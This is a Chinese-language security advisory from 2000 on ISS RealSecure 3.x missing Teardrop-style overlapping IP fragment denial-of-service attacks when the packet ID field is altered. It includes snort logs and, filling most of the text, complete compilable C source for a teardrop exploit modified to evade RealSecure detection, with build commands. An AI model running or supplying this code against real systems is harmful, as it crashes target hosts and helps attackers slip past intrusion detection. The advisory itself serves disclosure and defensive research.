发布日期：2000-03-02
更新日期：2000-03-02

受影响系统：

Internet Security Systems RealSecure 3.2.1999
Internet Security Systems RealSecure 3.2
Internet Security Systems RealSecure 3.1
Internet Security Systems RealSecure 3.0
   - Microsoft Windows NT 4.0SP6
      + Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0SP5
      + Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0SP4
      + Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0SP3
      + Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0SP2
      + Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0SP1
      + Microsoft Windows NT 4.0
   - Microsoft Windows NT 4.0

描述：

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某些版本的ISS(Internet Security Systems) RealSecure网络入侵检测软件存在一些问题。
攻击者可以进行一系列基于IP 分组的拒绝服务攻击，而RealSecure并不能检测出这种攻击
的存在。这是由于该软件对这种攻击的检测依赖于包本身的某些特征。如果攻击者略微修改
一下包的内容，RealSecure就不会认为这些包是在进行攻击。这种有问题的攻击主要是
Teardrop(泪滴)攻击及其变种，比如 SynDrop, NewTear, Targa 攻击等等。

泪滴攻击是由于很多操作系统的TCP/IP堆栈存在一个弱点，没有正确处理已分段的IP包的重
组。这种攻击发送2个或更多特别的分段IP数据报。第一个包是偏移量为0的段，payload(分
段长度)字节是N,并设置了MF位，第二个包是最后一个分段(MF==0)，但它的偏移量小于N,
payload也小于N.这样两个分段就重叠了，为了重组这些包，有弱点的系统就会在TCP/IP栈中
分配非常大的空间，因此导致目标系统因为内存耗尽而停止响应或者重启。

在teardrop.c中，IP ID字段并没有在攻击中起什么作用，因而使用了定值:242,

*((u_short *)p_ptr) = htons(242); /* IP id */

通过将这个值改为242到666间的任意一个值，RealSecure就不能再检测到泪滴攻击了。

下面是用snort记录下修改前和修改后的teardrop 攻击包的情况:

原来的teardrop包 (可以被检测到):
   02/11-09:37:03.822772 xxx.yyy.zzz.246 -> xxx.yyy.zzz.245
   UDP TTL:64 TOS:0x0 ID:242 MF   
   Frag Offset: 0x0 Frag Size: 0x24

   02/11-09:37:03.822829 xxx.yyy.zzz.246 -> xxx.yyy.zzz.245
   UDP TTL:64 TOS:0x0 ID:242
   Frag Offset: 0x3 Frag Size: 0x4

修改后的teardrop包 (不会被检测到):
   02/11-09:37:07.967350 xxx.yyy.zzz.246 -> xxx.yyy.zzz.245
   UDP TTL:64 TOS:0x0 ID:666 MF
   Frag Offset: 0x0 Frag Size: 0x24

   02/11-09:37:07.968076 xxx.yyy.zzz.246 -> xxx.yyy.zzz.245
   UDP TTL:64 TOS:0x0 ID:666
   Frag Offset: 0x3 Frag Size: 0x4


<* 来源: Stephane AUBERT <Stephane.Aubert@hsc.fr> *>



测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

/*
*  Copyright (c) 1997 route|daemon9  <route@infonexus.com> 11.3.97
*
*  Linux/NT/95 Overlap frag bug exploit
*
*  Exploits the overlapping IP fragment bug present in all Linux kernels and
*  NT 4.0 / Windows 95 (others?)
*
*  Based off of:   flip.c by klepto
*  Compiles on:    Linux, *BSD*
*
*  Modification : Stephane Aubert and Denis Ducamp
*  Date : 14/02/2000
*  (c) Herve Schauer Consultants 2000
*  Description : change ID field to bypass ISS RealSecure
*
*
*  gcc -O2 teardrop.c -o teardrop
*      OR
*  gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
                        /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n)  (n)
#else                   /* OpenBSD 2.1, all Linux */
#define FIX(n)  htons(n)
#endif  /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF   0x2000  /* More IP fragment en route */
#define IPH     0x14    /* IP header size */
#define UDPH    0x8     /* UDP header size */
#define PADDING 0x1c    /* datagram frame padding for first packet */
#define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
#define COUNT   0x1     /* Linux dies with 1, NT is more stalwart and can
                         * withstand maybe 5 or 10 sometimes...  Experiment.
                         */
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short,long);
int main(int argc, char **argv)
{
    int one = 1, count = 0, i, rip_sock;
    u_long  src_ip = 0, dst_ip = 0;
    u_short src_prt = 0, dst_prt = 0;
    struct in_addr addr;
    long ip_mf;
    fprintf(stderr, "teardrop   route|daemon9\\n\\n");
    if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    {
        perror("raw socket");
        exit(1);
    }
    if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
        < 0)
    {
        perror("IP_HDRINCL");
        exit(1);
    }
    if (argc < 3) usage(argv[0]);
    if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
    {
        fprintf(stderr, "What the hell kind of IP address is that?\\n");
        exit(1);
    }
    while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
    {
        switch (i)
        {
            case 's':               /* source port (should be emphemeral) */
                src_prt = (u_short)atoi(optarg);
                break;
            case 't':               /* dest port (DNS, anyone?) */
                dst_prt = (u_short)atoi(optarg);
                break;
            case 'n':               /* number to send */
                count   = atoi(optarg);
                break;
            default :
                usage(argv[0]);
                break;              /* NOTREACHED */
        }
    }
    srandom((unsigned)(time((time_t)0)));
    if (!src_prt) src_prt = (random() % 0xffff);
    if (!dst_prt) dst_prt = (random() % 0xffff);
    if (!count)   count   = COUNT;
    fprintf(stderr, "Death on flaxen wings:\\n");
    addr.s_addr = src_ip;
    fprintf(stderr, "From: %15s.%5d\\n", inet_ntoa(addr), src_prt);
    addr.s_addr = dst_ip;
    fprintf(stderr, "  To: %15s.%5d\\n", inet_ntoa(addr), dst_prt);
    fprintf(stderr, " Amt: %5d\\n", count);
    fprintf(stderr, "[ ");
    ip_mf = 0x2000;
    for (i = 0; i < COUNT; i++)
    {
        send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt,ip_mf);
        fprintf(stderr, "b00m:%x ",ip_mf);
        usleep(500);
    ip_mf += 0x10;
    }
    fprintf(stderr, "]\\n");
    return (0);
}
/*
*  Send two IP fragments with pathological offsets.  We use an implementation
*  independent way of assembling network packets that does not rely on any of
*  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
                u_short dst_prt, long ip_mf)
{
    u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */
    u_char byte;                            /* a byte */
    struct sockaddr_in sin;                 /* socket protocol structure */
    sin.sin_family      = AF_INET;
    sin.sin_port        = src_prt;
    sin.sin_addr.s_addr = dst_ip;
    /*
     * Grab some memory for our packet, align p_ptr to point at the beginning
     * of our packet, and then fill it with zeros.
     */
    packet = (u_char *)malloc(IPH + UDPH + PADDING);
    p_ptr  = packet;
    bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
    byte = 0x45;                        /* IP version and header length */
    memcpy(p_ptr, &byte, sizeof(u_char));
    p_ptr += 2;                         /* IP TOS (skipped) */
    *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length */
    p_ptr += 2;
    /* SA/HSC : ID was 242 - change to 666 to bypass ISS RealSecure */
    *((u_short *)p_ptr) = htons(666);   /* IP id */
    p_ptr += 2;
    *((u_short *)p_ptr) |= FIX(ip_mf);  /* IP frag flags and offset */
    p_ptr += 2;
    *((u_short *)p_ptr) = 0x40;         /* IP TTL */
    byte = IPPROTO_UDP;
    memcpy(p_ptr + 1, &byte, sizeof(u_char));
    p_ptr += 4;                         /* IP checksum filled in by kernel */
    *((u_long *)p_ptr) = src_ip;        /* IP source address */
    p_ptr += 4;
    *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
    p_ptr += 4;
    *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(8 + PADDING);   /* UDP total length */
    if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
                sizeof(struct sockaddr)) == -1)
    {
        perror("\\nsendto");
        free(packet);
        exit(1);
    }
    /*  We set the fragment offset to be inside of the previous packet's
     *  payload (it overlaps inside the previous packet) but do not include
     *  enough payload to cover complete the datagram.  Just the header will
     *  do, but to crash NT/95 machines, a bit larger of packet seems to work
     *  better.
     */
    p_ptr = &packet[2];         /* IP total length is 2 bytes into the header */
    *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
    p_ptr += 4;                 /* IP offset is 6 bytes into the header */
    *((u_short *)p_ptr) = FIX(MAGIC);
    if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
                sizeof(struct sockaddr)) == -1)
    {
        perror("\\nsendto");
        free(packet);
        exit(1);
    }
    free(packet);
}
u_long name_resolve(u_char *host_name)
{
    struct in_addr addr;
    struct hostent *host_ent;
    if ((addr.s_addr = inet_addr(host_name)) == -1)
    {
        if (!(host_ent = gethostbyname(host_name))) return (0);
        bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
    }
    return (addr.s_addr);
}
void usage(u_char *name)
{
    fprintf(stderr,
            "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\\n",
            name);
    exit(0);
}




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